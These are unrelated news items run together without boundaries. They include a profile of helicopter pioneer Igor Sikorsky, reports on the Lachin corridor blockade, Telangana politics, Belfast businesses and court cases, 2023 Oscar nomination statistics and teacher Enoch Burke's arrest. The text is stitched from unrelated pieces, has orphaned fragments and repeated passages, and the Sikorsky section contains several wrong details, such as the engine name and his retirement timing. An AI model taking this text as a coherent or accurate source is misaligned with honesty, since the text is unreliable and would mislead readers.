Every great aerospace manufacturer of the last 120 years has seen a leading man or woman whose brilliance catapulted their designs past other companies most have never heard of. Sikorsky Aircraft was no exception. In fact, Igor Sikorsky wasn't the only transplant from Eastern Europe to make it big in American aviation during the pioneer days. In the centennial year of Sikorsky's founding, let's take a deep dive into the man most vital to making helicopters a part of our reality.Igor Sikorsky was born in the Russian Empire on May 25th, 1889, in the modern Ukrainian City of Kyiv. His parents were Ivan Alexeevich Sikorsky, a Psychology professor, and Maria Stefanova Sikorsky, a part-time, stay-at-home mother who was also a physician. With that in mind, the young Sikorsky was surrounded by free thinkers and intellectuals from day one.No wonder one of the first pieces of technology to inspire the young Sikorsky was a rough blueprint by Leonardo da Vinci for a device known as an aerial screw given to him by his mother. It was a device most modern folks would identify as a helicopter. In the business, we call this foreshadowing. It's also thought that the works of Jules Verne and all the marvelous, fictional machines therein were instrumental to the young Sikorsky's upbringing.In any case, it wouldn't be until 1908, on a trip to Germany with his father, that Sikorsky heard about pivotal figures like Ferdinand von Zeppelin and the Wright Brothers. At that point, Sikorsky knew his dreams of flight, as he read about in works of fiction, were now a real possibility. A miniature model rotorcraft powered by wound-up rubber bands made at age 12 was just the start of something world-changing.Formal schooling in the Imperial Russian Maritime Cadet Corps as a teenager further pushed Sikorsky along the path to engineering. But a wealth of aeronautical engineers was something Imperial Russia couldn't lay claim to in the early 1900s. In the pioneer days of aviation, there were only two places in the western world that acted as its cradle.One of these was the Hempstead Plains of Long Island, New York , USA, and the other was the fields and grasslands on the outskirts of the French capital of Paris. Both Paris and Long Island would become precious places for Igor Sikorsky. But it was Paris, with its frequent air shows and breadth of aeronautical talent, which captured his heart first.Further schooling at the Mechanical College of the Kyiv Polytechnic Institute sharpened Sikorsky's skills in engineering. Before long, he was designing his own rough sketches of powered, heavier-than-air rotorcraft, somewhat resembling something out of a Verne novel itself. Though mundane to the average person, these sketches culminated in something groundbreaking.It was after another trip to Paris when Sikorsky built his first helicopter prototype. The craft sported a 25-horsepower engine at first. But the first prototype couldn't get off the ground. That didn't stop subsequent attempts from achieving flight. In real-time, before his very eyes, Igor Sikorsky was unraveling the bare basics of how rotorcraft would one day operate.Key components like power-to-weight ratios and total lift generated by the rotors had no means of testing other than trial and error in those days. In a sense, Sikorsky was doing aviation a colossal favor by working these bugs out himself. Over time, Sikorsky was able to source more of the Ansani gasoline engines, which powered his first prototypes from Paris. With a stockpile of engines now on hand, Sikorsky was free to perform more experiments.By 1910, key issues like power-to-weight ratios and better control surfaces were worked out with his second prototype. One which did indeed lift off the ground. With twin sets of contra-rotating canvas propellers, it was like a biplane that could also hover for up to 12 seconds. Not all that impressive today. But then again, neither was the first flight of the Wright Flyer.No sooner was Sikorsky's genius in rotorcraft taking shape than his second calling to design aircraft was also fleshed out. As it turned out, Sikorsky was just as adept at fixed-wing aircraft design. But after one of his early prototypes emergency landed following engine failure, Sikorsky was convinced the solution was, of course, more engines. Instead of two, why not four? He must have thought.This was the impetus behind the Sikorsky Russky Vityaz, the world's very first quad-engined airplane. Taking to the sky on May 10th, 1913, every Boeing 747 and Airbus A380 can trace their lineage back to this one airplane. Built by the Russian Baltic Railroad Car Works with Sikorsky's design, the single Russky Vityaz spawned airliner/heavy bomber named after a piece of old Ukrainian mythology, the Ilya Muromets.During the early 1910's Sikorsky busied himself designing single, twin, and quad-engine airplanes for the Russian military and civilian sectors. His biplanes were some of the very first to be carried aboard bespoke Navy seaplane tender ships. A few even carried paying passengers. In another universe, Igor Sikorsky would have likely become the cornerstone of the Russian aerospace sector. But instead, Sikorsky found himself caught up in a little thing called the Russian Revolution.This took place supposedly after Sikorsky was threatened and menaced by the Bolsheviks due to his popularity in the area and supposed friendship with the Tsar. Tsar Nicholas II had indeed bestowed more than a few awards and merits for his contribution to the pioneer age of Russian aviation. But it's doubtful Sikorsky was more than on simple, friendly terms with his native monarch.Whether the accusations were true or not, Sikorsky realized that his time living in Eastern Europe had come to an end. He fled his collapsing homeland, arriving in New York City in March 1919. After taking a few years to settle in, Sikorsky was made familiar with the world's second great nexus of aviation in the pioneer days, Long Island, New York's Hempstead plains.In the same area where Charles Lindbergh crossed the Atlantic that was home to famous warplane makers like Curtiss, Grumman, and Republic, Igor Sikorsky fit his surroundings like a glove. On March 5th, 1923, Igor Sikorsky founded Sikorsky Aircraft, basing his company initially very close to Roosevelt Field, the same airstrip on the Hempstead Plains used by the Spirit of St. Louis.Among other aviators fleeing the chaos in Eastern Europe was a Georgian national by the name of Alexander de Seversky. The man who'd join a Long Island local from the Town of Huntington, Leroy Grumman, to form Republic Aviation and Grumman Aircraft, respectively. When joined for a time by Glenn H Curtsiss's Curtiss Aircraft Company, the Hempstead Plains hosted the largest collection of aviation know-how anywhere in the world at the time.But Sikorsky would not be just another face in the crowd. Using the basic design from the Illya Muromets, Sikorsky designed the S-29, his first American biplane airliner. As one of the first airliners to employ an airliner stair as is common today, a trend of innovation that started in Tsarist Russia blossomed on Long Island.By 1929, Sikorsky had moved his factory from New York to a small town across the Long Island Sound called Stratford, Connecticut. It was to be the home of Sikorsky's company for the next nine decades. Through deals with lucrative airlines like Pan Am, Sikorsky found a profitable enterprise supplying them with flying boat passenger planes.Through these business deals, the Sikorsky S-40 and S-42 Clipper ensured the company was in it for the long haul in the aviation space. Further contracts were to be found with the U.S. Military, which operated Sikorsky JRS-1s in their Navy during the Attack on Pearl Harbor. By then, Sikorsky was a man in his early-to-mid 50s. But that didn't mean he didn't still have one trick left up his sleeve; his magnum opus.Sikorsky employed the help of the Chance Vought Corporation to construct his first attempt at a helicopter on western soil. Chance Vought operated under the same holding corporation as Sikorsky, that being United Aircraft and Transport Corporation. Together, the two companies created the VS-300 amphibious helicopter, the world's first such design.The VS-300 first flew on September 14th, 1939, but its most lasting legacy came in the form of what it developed afterward. Thirty years after Sikorsky built his first flightless rotorcraft prototype, the R4, or the Hoverfly, as it was known in British service, became the world's first mass-produced helicopter. With 131 built between 1942 and 1944, the R4's innovative anti-torque tail rotor is a trademark feature of almost all modern helicopters.Sikorsky retired soon after the R4s production ceased. The type served valiantly during the Second World War, assisting the Allies in both the European and Pacific theaters as search and rescue vehicles. Sikorsky's company grew to become one of the U.S. Military's go-to domestic helicopter manufacturers under the ownership of Lockheed Martin alongside Bell Helicopter.He died on October 26th, 1972, at his home in the town of Easton, Connecticut. If not for him, the skies of the world might have looked very different indeed. On this day, so close to 100 years to the day of his company's founding, we'd like to extend the man our greatest thanks.Check back for more aviator profiles right here on autoevolution.
I urged President Aliyev to immediately restore commercial traffic on the Lachin corridor, Blinken tweeted after the call.

Each day it remains blocked risks a humanitarian crisis and undermines the steps that Armenia and Azerbaijan have taken toward peace, he said. The U.S. is committed to supporting these efforts.

A separate statement released by the U.S. State Department said Blinken also encouraged President Aliyev to redouble efforts in bilateral peace discussions with Armenia.

Blinken spoke with Armenian Prime Minister Nikol Pashinian by phone on January 18. He was reported to express deep concern for the worsening humanitarian situation in Nagorno-Karabakh.

The United States has repeatedly called for the lifting of the blockade. Azerbaijan has also faced similar calls by the European Union and Russia. Russian Foreign Minister Sergei Lavrov raised the issue with his Azerbaijani counterpart Jeyhun Bayramov in a January 17 phone call.

Baku has dismissed these appeals, saying that Azerbaijani government-backed activists who blocked the vital road on December 12 are right to protest against illegal mining operations in Karabakh.

Armenia maintains that the blockade constitutes a gross violation of the Russian-brokered agreement that stopped the 2020 war in Karabakh. The agreement placed the Lachin corridor under the control of Russian peacekeepers and committed Baku to ensuring safe passage through it.

The authorities in Stepanakert reported at the weekend that Azerbaijan again blocked a pipeline that supplies natural gas from Armenia to Karabakh.

Armenias supplies of electricity to Karabakh were similarly blocked by Baku on January 10, leading to daily power cuts in the Armenian-populated territory. The energy crisis compounded shortages of food, medicine and other essential items endured by local residents.

In an interview with BBC published by his office on Monday, the Karabakh premier, Ruben Vardanyan, insisted that despite the severe hardship the Karabakh Armenians remain very firm in our desire to live in our homeland.
In a statement, the authorities said the small volumes of gas remaining in Karabakh will now be supplied only to hospitals and other critical facilities using it for heating purposes.

Classes in Karabakhs schools and colleges were suspended on January 19 for the same reason.

Stepanakert is adapted to gas heaters, Gayane Arustamian, a 60-year-old resident of the Karabakh capital, told RFE/RLs Armenian Service. Homes, offices, schools and hospitals all depend on gas, and this [disruption] made peoples lives much harder.

Azerbaijan halted the flow of gas to Karabakh from a pipeline passing through Azerbaijani-controlled territory at the weekend for the fourth time since Azerbaijani government-backed protesters blocked the Lachin corridor on December 12.

Armenias electricity supplies to Karabakh were similarly blocked by Baku on January 10, leading to daily power cuts in the Armenian-populated territory. The energy crisis compounded shortages of food, medicine and other essential items endured by local residents.

The shortages forced the Karabakh government to start rationing late last week some of the basic foodstuffs supplied by it to local shops. Every Karabakh resident received coupons allowing them to buy one liter of sunflower oil and one kilogram of rice, macaroni, buckwheat and sugar a month.

Marta, a Karabakh mother of three, said there is little else she and other locals can now buy without the coupons.

The kids keep wanting [other items,] but we explain to them that [the end of the blockade] is just a matter of time, she said.

Baku is facing growing international pressure to lift the blockade. U.S. Secretary of State Antony Blinken urged Azerbaijani President Ilham Aliyev to immediately restore commercial traffic on the Lachin corridor in a phone call on Monday.

Aliyev reportedly rejected the appeal, defending the protesters demanding that the Azerbaijani government be allowed to inspect illegal copper mines in Karabakh. He again claimed that they did not block traffic through the sole road connecting Karabakh to Armenia.
You can reach Ishani Desai at 661-395-7417. You can also follow her at @_ishanidesai on Twitter.
BJP Telangana president and Karimnagar MP Bandi Sanjay Kumar addresses mediapersos at BJP office (S. Surender Reddy/DC)

HYDERABAD: BJP state president Bandi Sanjay Kumar rallied in support of teachers by demanding an unequivocal apology from Chief Minister K. Chandrashekar Rao for the arrest of women teachers who had marched to Pragati Bhavan to call for the repeal of GO 317, while stating that this order had torn teachers' families apart.

Sanjay told reporters that it was heart-rending to watch the police brutally drag away protesting women teachers into trucks, and even worse, snatching their children from them. "Families have been torn apart. The BJP will no longer tolerate such behaviour from the government. Would the Telangana movement endure without the participation of the teachers? If these teachers and other government employees hadn't joined the strike during the statehood movement, the TRS would have been nowhere and KCR would not have become the Chief Minister," he said.

The BJP severely condemned the attack on teachers demanding that their local status be protected and the CMs anti-employee decisions appear to be setting the way for one more Sakala Janula Samme, he added, referring to the government staff strike during the statehood agigation.

"The police need to realise that they are the government's employees and its victims. Everyone must work together to protect the rights of employees, whether they are teachers, government employees, or police, in order to achieve the goals for which Telangana was formed," he remarked.

Sanjay asserted that the BJP would discuss the teachers issue at the party state executive meeting on Tuesday. "It was the BJP which first held protests in support of the teachers after GO 317 was issued as it robbed them of their seniority through postings in their non-native districts," he claimed.

Sanjay said even top BJP leaders including party president J.P. Nadda and others made it clear that GO 317 must be scrapped. "The CM has said that the GO will be amended and some useless cosmetic changes were made. He should at least now hold district-wise meetings with teachers," he said.

Bandi chargesheet
The owner of Belfasts Revolucion de Cuba bar has said the chain will be shutting its venues on Mondays and Tuesdays this month and early February in response to rocketing energy costs.

Shares in Revolution Bars Group Plc tumbled by as much as a quarter on Tuesday as the hospitality firm also recorded a hit to trade from industrial action.

In a statement to the Belfast Telegraph today, the company said: Revolution will be closing a limited number of bars on Mondays and Tuesdays during January.

This decision will enable our teams to recover after the busy Christmas period, with the added bonus of minimising energy usage.

The Belfast Telegraph understands Revolucion de Cuba on Arthur Street will not be affected by the closure plan.

A spokesperson would not share any further detail but said customers should check the bars websites, which would be updated in due course.

Revolution Bars Group also owns the Peach Pub brand  although Revolucion de Cuba, situated in a listed building which formerly housed Cafe Vaudeville, is its its only venue in Northern Ireland.

In an update this week, the business said earnings for the year is likely to be lower than previously guided.

It said that earnings before interest, tax, depreciation and amortisation is due to be at the bottom end of market expectations, which had ranged between 6.7m and 10.5m.

Rob Pitcher, chief executive officer of the group, said: The board have reviewed their expectations for the full year, taken a number of actions to mitigate the external factors where possible, and will continue to track these closely.

The decision to close some bars on a Monday and Tuesday in the early weeks of the year allows us to minimise energy usage in our quietest period, whilst also allowing our teams to recover after the busy Christmas period.

The group said it saw like-for-like sales rise by 17.3% over the five weeks to December 31, compared with the same period in 2021, as it benefited from strong office Christmas party demand.

However, it highlighted that the Christmas trading period saw sales 9% down against pre-pandemic levels from 2019.

It said sales were broadly below pre-Covid levels as a result of the impact from significant industrial action by rail workers and the impact of the cost-of-living crisis on consumer confidence.

Mr Pitcher added: The first Christmas since 2019 without the shadow of Covid saw a new company record for pre-booked party revenue, allowing us to be optimistic of a strong Christmas period.

However, the continued train strikes had a material impact on whether guests attended their office Christmas parties, how long they stayed and whether they met up with friends on a separate occasion.

Given the current economic environment, the coming months are going to be challenging and uncertain, not only for us but for many businesses.

The former bank building in which Belfasts Revolucion de Cuba is based dates back to the 1800s and was once the head office for Dunville & Co. It was put on the market for 3.5m in 2017 by Cafe Vaudeville owner Pat McCormack.

The building was bought by pub chain JD Wetherspoon in 2019, though Revolucion de Cubas lease was not affected.
Chief Minister K Chandrashekar Rao at the new Secretariat observes the works on Tuesday. (Photo: By arrangement)

Hyderabad: Chief Minister K. Chandrashekar Rao, who has planned a grand opening ceremony for the Telangana Secretariat complex on February 17, his birthday, has turned the event into another BRS show by inviting the Chief Ministers of Tamil Nadu and Jharkhand  M.K. Stalin and Hemant Soren and Bihar deputy CM Tejashwi Yadav.

Dr B.R Ambedkar's grandson Prakash Ambedkar will take part in the inaugural event as will JD(U) president Rajiv Ranjan (Lalan) Singh on behalf of Bihar Chief Minister Nitish Kumar.

Rao inspected the progress of the new Secretariat construction works along with ministers and officials on Tuesday. Roads and buildings minister Vemula Prashant Reddy, who accompanied the CM, informed said that Rao would inaugurate the complex at the auspicious time between 11.30 am and 12.30 pm on February 17 as suggested by Vedic pandits. Prior to the inauguration, Vedic pundits would perform the vastu puja, Chandi yagam and Sudarshana yagam, he said.

After the inauguration of Secretariat, the CM along with his Tamil Nadu and Jharkhand counterparts as well as regional party leaders, will address a public meeting at Parade Ground. The CM's sudden decision to hold the public meeting is being viewed in the BRS circles as a counter to Prime Minister Narendra Modis public meeting at Parade Ground next month.

Modi is expected to arrive in Hyderabad on February 13 to launch various development programmes and address a public meeting in Parade Ground.

Interestingly, the CM announced the partys first public meeting in Khammam with three non-BJP CMs on January 18 all of a sudden, after news emerged that Modi would be visiting Hyderabad on January 19 to flag off the Vande Bharat Express to Visakhapatnam and address a public meeting at Parade Ground. The PM cancelled his visit later.

Further, the CM scheduled the state Assembly session from February 3, four days after the Budget Session of Parliament begins on January 31.

Sources said Rao wanted to showcase opposition unity against the BJP for the 2024 Lok Sabha polls from the same venue after the PM addresses the public meeting. This will be the second public meeting for the BRS after last week's Khammam rally which was attended by Chief Ministers Arvind Kejriwal (Delhi) and Bhagwant Mann (Punjab), both from the Aam Aadmi Party, Kerala CM Pinarayi Vijayan besides CPI national secretary D. Raja.

The new Secretariat, which has cost more than Rs 600 crore and has a built-up area of more than 7 lakh square feet with modern amenities, was scheduled to be formal inauguration on October 5, Dasara. It was postponed as most of the finishing works were yet to be completed.

Auspicious time: New Secretariat complex will be inaugurated on Feb. 17 between 11.30 am and 12.30 pm.

Who is invited?: Tamil Nadu CM M.K. Stalin, Jharkhand CM Hemant Soren, Bihar deputy CM Tejashwi Yadav, Dr B.R Ambedkar's grandson Prakash Ambedkar, and JD(U) president Lalan Singh

Rituals to be performed: Prior to inauguration, vastu puja, Chandi Yagam, Sudarshana Yagam and other rituals will be performed by Vedic scholars

Politics on Parade Ground: Rao will be addressing a public meeting at the Parade Ground, a move seen as a counter to PM Narendra Modis public meeting at the same venue.
A new coffee shop has opened in south Belfast in the first venture north of the border by a business in the Republic.

FUEL, which already has branches in Rathmines and Clontarf, has opened up on the Lisburn Road in a 100,000 investment. Its based on a site formerly occupied by coffee shop Arizona.

Owner David Beggs, who was born in Belfast, established the business in Dublin after he was inspired by venues hed visited abroad.

Having experienced some really good eateries in places like New York I wanted to bring the international love of and accessibility of healthy, tasty, and vibrant food home.

Trends are changing, and people want high-quality food that is good for their body and soul.

He said the concept of the local pub as the heart of the community was now obsolete, and the coffee shop had taken its place.

People are meeting at coffee shops and very much at the takeaway coffee shops because they may not have the time to sit for an hour and a half with each other, but they'll have a catch up as they grab and go.

The menu features items such as a protein pancake stack, sweet potato fritters, chorizo eggs, French toast, breakfast burritos and pastries.

Manager Thom Moreland said: All our produce is sourced locally, we have a wide range of gluten free and vegan options and our freshly squeezed, made on site juices, have become a firm favourite with our regulars.

Were delighted to be opened on Lisburn Road, the bustling heart of South Belfast. The community here has been incredibly welcoming and were looking forward to getting to know everyone.
Here are the key statistics from the 2023 Oscar nominations:

 UK acting talent

This year represents the poorest showing by British actors in a decade.

Just two performers have received a nod: Bill Nighy in the best actor category for the period drama Living, and Andrea Riseborough for best actress, recognising her role in the gritty movie To Leslie.

This is the lowest number of UK nominees in the acting categories since 2013, when the total was also two.

(PA Graphics)   PA Graphics

It is a sharp contrast with 2021, when the UK accounted for nearly half (eight) of all the 20 acting nominations.

Last year the number stood at five out of 20.

The average since the start of the century has been four.

Despite 2023 offering slim pickings for the UK, it is still a personal milestone for both Nighy and Riseborough as it is the first time either has been nominated for an Academy Award.

 Ethnic diversity

2021 saw the most ethnically diverse acting nominations in the history of the Oscars, with non-white performers making up nine of the 20 acting nominees.

This year the total is six out of 20, up slightly from four in 2022.

All the people up for best actor are white, while there is just one non-white nominee for best actress: Michelle Yeoh, for Everything Everywhere All At Once.

Two of the five nominees for supporting actor are non-white: Brian Tyree Henry (Causeway) and Ke Huy Quan (Everything Everywhere All At Once).

(PA Graphics)   PA Graphics

The only category where non-white nominees are in the majority is supporting actress, with nods for Angela Bassett (Black Panther: Wakanda Forever), Hong Chau (The Whale) and Stephanie Hsu (Everything Everywhere All At Once).

The 2023 list is at least more diverse than in 2020, when just one of the 20 nominees was non-white.

But it follows several years of criticism levelled at the film industry in both the US and UK for poor representation at award ceremonies of people from ethnic minority backgrounds.

In 2015 and 2016, there were no non-white performers nominated in any category at the Oscars.

More recently, in 2020 not a single non-white actor was nominated at the Bafta film awards.

The first non-white performer to win an acting Oscar was Hattie McDaniel, who was named best supporting actress in 1940 for Gone With The Wind.

There have been non-white winners in the acting categories 24 times: six for best actor, once for best actress, six for best supporting actor and 11 for best supporting actress.

 Gender diversity

There are no women up for the best director in 2023  a step backwards from last year, when Jane Campion was nominated and won for The Power Of The Dog, and from 2021 when both Emerald Fennell (Promising Young Women) and Chloe Zhao (Nomadland) were picked, and when Zhao went on to win.

Campion was the first woman to be nominated twice for best director, with her first nomination coming in 1994 for The Piano.

(PA Graphics)   PA Graphics

Only seven women in the history of the Oscars have ever received a best director nomination.

Along with Campion, Fennell and Zhao, they are Lina Wertmuller (for Seven Beauties in 1977); Sofia Coppola (Lost In Translation, 2004); Kathryn Bigelow (The Hurt Locker, 2010); and Greta Gerwig (Lady Bird, 2018).

Of the 10 movies nominated for best picture, one is directed by a woman: Women Talking, by the Canadian filmmaker Sarah Polley.

 Most nominations

The genre-breaking fantasy Everything Everywhere All At Once has the most nominations, picking up a total of 11.

Close behind is First World War epic All Quiet On The Western Front and dark comedy The Banshees Of Inisherin, both of which received nine.

(PA Graphics)

The biopic Elvis landed eight nominations, and coming-of-age drama The Fabelmans seven.

Two films that could not be more dissimilar, the intense drama Tar and action blockbuster Top Gun: Maverick, both picked up six nominations.

 First-timers

All of the five people up for best actor are receiving their first ever Academy Award nomination.

Along with Nighy, they are Austin Butler (for Elvis), Farrell (The Banshees Of Inisherin), Brendan Fraser (The Whale) and Paul Mescal (Aftersun).

Three of the five nominees for best actress have never been nominated before: Ana de Armas (Blonde), Michelle Yeoh (Everything Everywhere All At Once) plus Riseborough.

Four of the five people up for supporting actor are first-timers: Brendan Gleeson (The Banshees Of Inisherin), Brian Tyree Henry (Causeway), Barry Keoghan (The Banshees of Inisherin) and Huy Quan (Everything Everywhere All At Once).

A majority of nominees for supporting actress are also Oscar newcomers: Kerry Condon (The Banshees Of Inisherin), Hong Chau (The Whale), Jamie Lee Curtis (Everything Everywhere All At Once) and Stephanie Hsu (Everything Everywhere All At Once).

 Nationalities

A range of nationalities is represented on the 2023 acting list, with nominations for performers from Australia, Cuba, Ireland and Malaysia  along with the UK and United States.

Ireland is particularly well-represented and accounts for a quarter of all 20 acting nominations  with nods for Condon, Farrell, Gleeson and Keoghan (The Banshees Of Inisherin) plus Mescal (Aftersun).
When lockdown first hit, Newtownabbey woman Michelle Duffy found her past trauma was resurfacing again. Fast forward two years later and the 44-year-old says she now has people in her life  completely unaware she had undertaken a trauma recovery programme  remark on her personal transformation.
Two north Belfast men who trashed a hotel room following a three-day binge, funded by a large, winning bet, narrowly escaped going to jail today.

Instead, Brendan Devine (24) and Kevin ONeill (25) were ordered to complete 100 hours of community service and a 12-month probation order, but received a clear warning from District Judge Nigel Broderick that any breach would see them imprisoned.

This was atrocious behaviour and could easily have attracted an immediate custodial sentence, declared District Judge Broderick at Antrim Magistrates Court, sitting in Ballymena, ordering them to pay 400 compensation each.

With Devine and ONeill standing side by side in the dock, District Judge Broderick warned them: Let me make it very clear: if you dont do this order Im going to give you an immediate custodial sentence.

Devine, from Limestone Road, and ONeill, from Cliftonville Road, both admitted causing criminal damage to the walls and furniture of The Rabbit Hotel and Spa, Templepatrick, on September 28 last year.

ONeill also admitted two counts of attempting to damage two police vehicles, using disorderly behaviour at the hotel, and resisting police.

A prosecuting lawyer outlined how hotel staff called 999 to report a room being damaged, after one of the defendants broke the door down when he was locked out.

Devine was already outside when police arrived, but ONeill was shouting and swearing at the staff. When officers tried to arrest him, he grabbed hold of the police vehicle, off which he had to be dragged, and when he was put inside the vehicle he repeatedly head-butted the window.

He also kicked out and used his head to try to damage a police cell van when he was transferred into that.

When the room was examined, there was damage to the walls, furniture, fixtures and fittings, with an estimated cost of 1,898.

It transpired, the court heard, that having won a 3,000 bet, the pair had been binge-drinking in the Galgorm resort, but they had been asked to leave because of their behaviour, so Devine booked them into the Rabbit.

Neil Moore, defence counsel for ONeill, conceded there was no money left from the 3,000 winnings because the pair had made full use of the hotel and spa facilities, which are not cheap.

Devines barrister, Grant Powles, conceded that while his client has a poor record, probation has written a positive report and he is remorseful for his behaviour.

Sentencing the pair, District Judge Broderick said it was not without some considerable hesitation that he would impose combination orders rather than jail sentences.
Counsel for Chris Heaton-Harris insisted he has a legal "duty" to ensure full abortion services are offered in Northern Ireland. Photo: Brian Lawless/PA   PA

Parliament has imposed a legal imperative on the Secretary of State to get full abortion services in Northern Ireland across the line, the Court of Appeal heard today.

Counsel for Chris Heaton-Harris insisted there was a responsibility to implement a United Nations committees recommendations and make any necessary move to establish a system for terminations.

Peter Coll KC argued: It gives him a wide discretion wrapped in a duty.

A pro-life group is challenging the UK Governments right to commission a regime for abortions in the region.

The Society for the Protection of Unborn Children (SPUC) claims Westminster has unlawfully disenfranchised the people of Northern Ireland by stepping in.

In 2019 MPs passed legislation to decriminalise terminations at a time when the devolved administration at Stormont had collapsed.

The liberalised regime followed a report by the UN Committee on the Elimination of Discrimination Against Women (CEDAW), which found their rights were being breached by limited access to services.

Under the terms of the Northern Ireland (Executive Formation etc) Act 2019, former Secretary of State Brandon Lewis had to implement the CEDAW recommendations in Northern Ireland.

Section 9 of the Act imposed specific duties on him about the provision of abortion and post-abortion services.

Amid the continuing impasse at Stormont, a direction was issued under the Abortion (Northern Ireland) Regulations 2021 for the Department of Health to set up full services.

Mr Heaton-Harris has also pledged his commitment to the move, writing to the Department of Health last month to formally commission an abortion regime.

But SPUC claims the issue should be decided on by MLAs at Stormont.

It is seeking to overturn a High Court ruling that the Secretary of State was entitled to impose a deadline on the Stormont Executive to introduce a centralised system for abortions.

He has gone beyond his limited legal powers by issuing the instructions, according to the campaign group.

Responding for the Secretary of State, Mr Coll maintained the legislation gave him discretion to make whatever changes to the law of Northern Ireland are necessary.

Its one of the most permissive provisions that could be envisaged, the barrister said.

The imperative placed on the Secretary of State by Parliament is telling: he must ensure the recommendations are implemented.

Mr Coll added: Its almost a just get it done approach (Parliament) stands back and says to the Secretary of State over to you, get it across the line, its your responsibility.

During submissions the three appeal judges pressed him repeatedly on whether abortions for pregnancies involving a severe foetal impairment (SFI) would prolong any stereotypes around disability.

Mr Coll told them a decision had been reached that terminations in those circumstances are to be allowed.

The commissioning of services will have to take account of the need to ensure the ability to obtain an abortion in relation to an SFI does not perpetuate stereotypes, he added.

As part of the case the Northern Ireland Human Rights Commission has been granted intervenor status due to its previous legal challenge against the Secretary of State, the Department of Health and the Executive for failing to fund and commission abortion services in the region.

Lawyers for the body claims this failure disproportionately interferes with the rights of women and girls denied access to lawful terminations.

If SPUC wins its appeal abortion provision may be further restricted, according to the Commission, leading to a continuing violation of those rights.
School locks gates for security purposes and tells parents to delay collecting students

A statement issued on Enoch Burke's behalf said his employment at Wilson's Hospital School in Multyfarnham had been terminated. (Pic: Gerry Mooney)

Enoch Burke is taken away from Wilson's Hospital School by gardai (Pic: Gerry Mooney)

Teacher Enoch Burke has returned to Wilsons Hospital School after being released without charge following his arrest for alleged trespass.

However, he has been unable to gain entry as the gates have been locked.

Gardai were called to the school this morning after the dismissed teacher showed up at the premises shortly after 8.30am. Officers arrived around 11.15am.

Mr Burke was arrested in the school courtyard after being denied entry to the building.

At around 12.30pm he was taken in the back of an unmarked garda vehicle and brought to Mullingar Garda station.

But he emerged from the garda station shortly before 2pm and immediately returned to the school near Multyfarnham, Co Westmeath.

A garda statement said: A male was arrested under the Public Order Act 1994 and taken to Mullingar Garda Station.

He has subsequently been released pending the submission of a file to the Office of the Director of Public Prosecutions.

On his return to the school, Mr Burke was unable to gain entry as the front gates were locked.

A message sent to parents informed them that the gates were locked for security purposes.

It said the situation was controlled and advised them to delay collection of their child until a later time than usual.

It is understood gardai have again been called to the school.

Speaking to reporters at the gates, Mr Burke claimed he had been wrongfully arrested for trespass.

"I have broken no laws. I have done nothing wrong, he said.

He said gardai had spent 45 minutes in the principals office and then came down to arrest him.

"A decision already made without even observing the situation. That is something that is really, really wrong and regrettable that that would happen and absolutely disgraceful. I have said as much to the gardai, he said.

Therefore, I am back here and we have this situation now.

Mr Burke had turned up at the school this morning, days after he was dismissed following chaotic scenes at a disciplinary meeting.

Mr Burke arrived in an SUV driven by his father.

Enoch Burke arrives at Wilson's Hospital School on Tuesday morning. (Pic: Gerry Mooney)

His father then came out the school gates around five minutes later and drove away, but Enoch Burke remained at the school.

Two uniformed gardai arrived at the school in an unmarked car and were met at the school door by principal Frank Milling.

They later drove Mr Burke away from the school in the back of the Garda car, followed closely by his father, Sean.

Sean Burke collected his son after Enoch Burke was released and drove him back to the school.

Mr Burke was dismissed from his post at Wilsons Hospital School late last week.

A statement on Friday on his behalf to the Irish Independent confirmed his employment had been terminated.

A statement issued on Enoch Burke's behalf said his employment at Wilson's Hospital School in Multyfarnham had been terminated. (Pic: Gerry Mooney)

The move came a day after a disciplinary meeting attended by the teacher and members of his family descended into chaos.

Gardai were called to the meeting, held by the schools board of management, after Mr Burke, his mother Martina, sister Ammi and brother Isaac loudly objected to the presence of two lawyers and the absence of the boards chairman.

The statement said Mr Burke had attended Wilsons Hospital School on Friday.

He was informed in person at 3:30pm this afternoon in the presence of chairperson of the board of management John Rogers and principal Frank Milling that he was dismissed, the statement read.

The brief statement again highlighted Mr Burkes objection to the presence of the lawyers and Mr Rogers absence from the disciplinary meeting.

Mr Burke, an evangelical Christian, was suspended last August following incidents in which he clashed with school management over a request to call a transgender pupil by a new name and to use they/their pronouns in connection with the child.

He said that to do so would violate his religious beliefs.

Despite being suspended, he continued to show up for work, even after the school secured High Court orders restraining him from doing so.

This led to him being jailed for 108 days for contempt of court.

Despite refusing to purge his contempt he was eventually released from Mountjoy just before Christmas and was warned by a judge he could find himself back behind bars or have his assets sequestered if he breached orders again.

However, he resumed showing up at the school in Multyfarnham, Co Westmeath on January 5. While in the school he was confined to a corridor and kept away from students.

Although Thursdays meeting was held in private, the Burkes could be heard from the hallway outside the conference room at the Mullingar Park Hotel shouting and repeatedly chanting: Chairperson John Rogers must be present at this meeting, Where is the chairperson? and Its a sham. Its a cover up.

Mr Rogers had been unable to attend due to a medical issue.

When the meeting ended, two gardai were present to escort some of those present out of the hotel.

However, the Burkes proceeded to follow Mr Milling and others out of a restaurant exit, pursuing them along the driveway in front of the hotel and then back into the hotels lobby, loudly berating them throughout.

The school did not comment on the outcome of the meeting.

While Mr Burke has now been dismissed, it is far from the end of the matter.

The High Court is set to rule next week on an application for the sequestration of his assets for ongoing contempt.

A legal action taken by the school against Mr Burke is due to be heard in the coming months, as is a counterclaim in which he alleges his suspension was flawed and unlawful.

The Court of Appeal is also due to hear Mr Burkes appeal against various High Court orders next month.
The Nursing and Midwifery Council is examining a number of allegations made against a nurse

A nurse has been accused of pushing a care home resident with advanced dementia back into a chair and stopping her from going to the toilet.
A Belfast chippy has been shortlisted for a prestigous national award which honours the best fish and chips across the UK.

'Fish City which is located on Anne Street in Belfast city centre has been nominated for Fish and Chip Restaurant of the Year at this years National Fish and Chip Awards  the only NI eatery to make the list.

Opened in 2013, Fish City is best known for its prime location and offerings of fresh, locally sourced fish.

It previously took the 'Seafish' regional award for Fish and Chip Shop of the Year art the awards in 2014.

The National Fish and Chip Awards have been running for 30 years and is organised by The National Federation of Fish Friers (NFFF),

There are 10 categories, including best newcomer, best takeaway and best restaurant.

This years awards will take place on February 23 at the Park Plaza Westminster Bridge, London and will be hosted by comedian Jason Manford.

NFFF President Andrew said: "We're so looking forward to celebrating.

Fish City offers an evening and lunch menu, and also does takeaway. Diners can also enjoy outdoor seating, right in the heart of the one of the citys busiest streets.

Some of their most popular dishes include tempura soft shell crab as well as their fillet of battered MSC cod, which comes with unlimited home-cut chips, with lemon, and house tartare and mushy peas.

